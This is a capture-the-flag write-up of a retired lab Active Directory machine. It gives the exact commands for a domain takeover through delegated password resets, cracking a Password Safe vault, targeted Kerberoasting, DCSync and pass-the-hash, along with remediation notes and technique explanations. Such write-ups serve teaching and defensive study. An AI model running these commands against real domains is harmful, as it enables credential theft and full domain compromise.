Administrator
Summary
I entered the Windows domain using credentials supplied at engagement start, then exhaustively enumerated Active Directory object permissions to discover a three-hop delegated password-reset chain (Olivia → Michael → Benjamin). Benjamin's credentials unlocked an FTP share holding a Password Safe backup vault; GPU-accelerated cracking of the vault master password revealed credentials for Emily.
Emily held a GenericWrite right over Ethan, which was abused to write a fake Service Principal Name onto his account, making him Kerberoastable. The captured Kerberos service ticket was cracked offline to recover Ethan's plaintext password.
Ethan held DCSync replication rights on the domain root, enabling a targeted dump of the built-in Administrator's NTLM hash. That hash was presented directly in a pass-the-hash WinRM session — no password cracking required — granting full control over the domain controller and completing total domain compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 4
echo "$TARGET dc.administrator.htb administrator.htb" | sudo tee -a /etc/hostsnxc smb $TARGET -u Olivia -p [REDACTED: recovered credential]nxc winrm $TARGET -u Olivia -p [REDACTED: recovered credential]bloodhound-python -u Olivia -p [REDACTED: recovered credential] -d administrator.htb -ns $TARGET -c All --zipExact commands 3
bloodyAD --host $TARGET -d administrator.htb -u Olivia -p [REDACTED: recovered credential] set password michael '[REDACTED: recovered credential]'nxc winrm $TARGET -u michael -p [REDACTED: recovered credential] -X "Set-ADAccountPassword -Identity benjamin -Reset -NewPassword (ConvertTo-SecureString '[REDACTED: recovered credential]' -AsPlainText -Force) -Verbose"nxc winrm $TARGET -u benjamin -p [REDACTED: recovered credential]FixRemove delegated password-reset rights from regular user accountsCritical
Exact commands 3
wget -m --user=benjamin --password=[REDACTED: recovered credential] ftp://$TARGET/ -P /tmp/ftplootpwsafe2john /tmp/Backup.psafe3 > /tmp/psafe.hashhashcat -m 5200 -a 0 /tmp/Backup.psafe3 /usr/share/wordlists/rockyou.txt --potfile-disable -o /tmp/psafe.outFixRemove credential backups from network-accessible file sharesCritical
Exact commands 2
nxc winrm $TARGET -u emily -p '[REDACTED: recovered credential]'nxc winrm $TARGET -u emily -p '[REDACTED: recovered credential]' -X "type C:\Users\emily\Desktop\user.txt"Exact commands 3
nxc winrm $TARGET -u emily -p '[REDACTED: recovered credential]' -X "Set-ADUser -Identity ethan -ServicePrincipalNames @{Add='HTTP/roastme.administrator.htb'}"nxc ldap $TARGET -u emily -p '[REDACTED: recovered credential]' --kerberoasting /tmp/kroast.txthashcat -m 13100 -a 0 /tmp/kroast.txt /usr/share/wordlists/rockyou.txt --potfile-disableFixRemove GenericWrite and attribute-write ACLs between peer user accountsHigh
Exact commands 2
nxc smb $TARGET -u ethan -p [REDACTED: recovered credential]impacket-secretsdump administrator.htb/ethan:[REDACTED: recovered credential]@$TARGET -just-dc-user AdministratorFixRevoke DCSync replication rights from all non-domain-controller accountsCritical
Exact commands 2
nxc winrm $TARGET -u Administrator -H [REDACTED: recovered credential]nxc winrm $TARGET -u Administrator -H [REDACTED: recovered credential] -X "type C:\Users\Administrator\Desktop\root.txt"FixMitigate NTLM pass-the-hash by enforcing Kerberos and enabling Protected UsersHigh
Attack patterns used
The transferable techniques behind this compromise.
DCSyncActive Directory · Credential AccessT1003.006
What it is
DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.
Why it works
Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.
Read more
KerberoastingActive Directory · KerberosT1558.003
What it is
Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.
Why it works
Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).